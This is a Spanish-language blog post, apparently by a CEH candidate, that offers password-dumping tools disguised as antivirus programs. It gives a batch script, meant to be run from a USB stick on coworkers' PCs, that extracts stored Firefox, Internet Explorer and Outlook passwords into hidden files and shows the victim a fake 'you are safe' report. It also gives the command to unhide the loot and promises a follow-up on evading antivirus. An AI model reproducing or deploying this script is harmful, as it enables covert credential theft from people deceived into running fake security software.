¡ Buenas tardes compañeros !
A fin de éste año tengo la idea (ya casi confirmada) de rendir mi primera certificación de Seguridad Informática, en fin, la certificación CEH.
Leyendo una de las teorías, si mal no recuerdo era el capítulo de Malware, encontré ciertas herramientas para divertirnos con alguna PC de nuestros compañeros. Solo necesitaremos un USB y las herramientas que subí a este enlace, las cuales son las siguientes:
– Firefox-AV
– IE-AV
– Mail-AV
Éstas herramientas se encargan de buscar información que queda almacenada en nuestro navegador o en alguna cuenta asociada a nuestro correo electrónico (Outlook en éste caso) y nos revelarán sus contraseñas. En sí, es un proceso algo más largo pero no nos vamos a meter en detalles y vamos a disfrutar de las herramientas !
Una vez que los hayamos descargado, podemos ejecutarlos y ver su potencial. (Voy a tratar de buscar alguna herramienta que pueda recuperar la información de Chrome y luego actualizaré el post)
Pero si realmente queremos divertirnos un poco con algunos compañeros algo despistados, podemos hacerle creer que son AntiVirus (por eso el AV como sufijo) para nuestras aplicaciones del ordenador (Total, todo el mundo descarga AV’s falsos .. y .. quien desconfiaría de un hacker ahora ?)
Crearemos un simple script .bat con el siguiente fragmento:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
@echo offclsecho "Generando un reporte del sistema, por favor aguarde ..."start MAIL-AV.exe /stext MAIL.txtstart IE-AV.exe /stext IE.txtstart FIREFOX-AV.exe /stext FIREFOX.txttimeout /t 5clsecho "Finalizacion de registro de la memoria, por favor revise el archivo Resultados.txt \n \n"echo Estas completamente a salvo en tu sistema > Resultados.txtpauseattrib +r +h +s FIREFOX.txtattrib +r +h +s IE.txtattrib +r +h +s MAIL.txtexit |
Al cual llamaremos Launcher-AV.bat o como quieran.
Al ejecutarlo, guardaremos los resultados de nuestras herramientas en diferentes archivos de texto, para luego ocultarlos y quedarnos con esos datos (Tranquilos, todo está en el script). Al usuario solo le mostraremos un falso Resultados.txt.
Para luego poder recuperar los archivos ocultos pueden usar el siguiente comando:
|
1
|
attrib -r -h -s /s /d |
Como recomendaciones, les digo que traten de que el usuario ejecute estas herramientas dentro del Pendrive, para poder ya tener la información oculta en el mismo.
Espero que se diviertan .. pero CON CUIDADO !
Antes de finalizar, quisiera disculparme por mi mala programacion en .bat, hace mucho no tocaba este tema.
Ah, y me olvidaba. En la segunda parte vamos a aprender a ofuscar el código anterior y tratar de utilizar técnicas de encoding para bypassear AV’s. Ésta entrada la escribí para mi amigo SniferL4bs, donde también subiremos esa segunda parte pronto.
Non static security 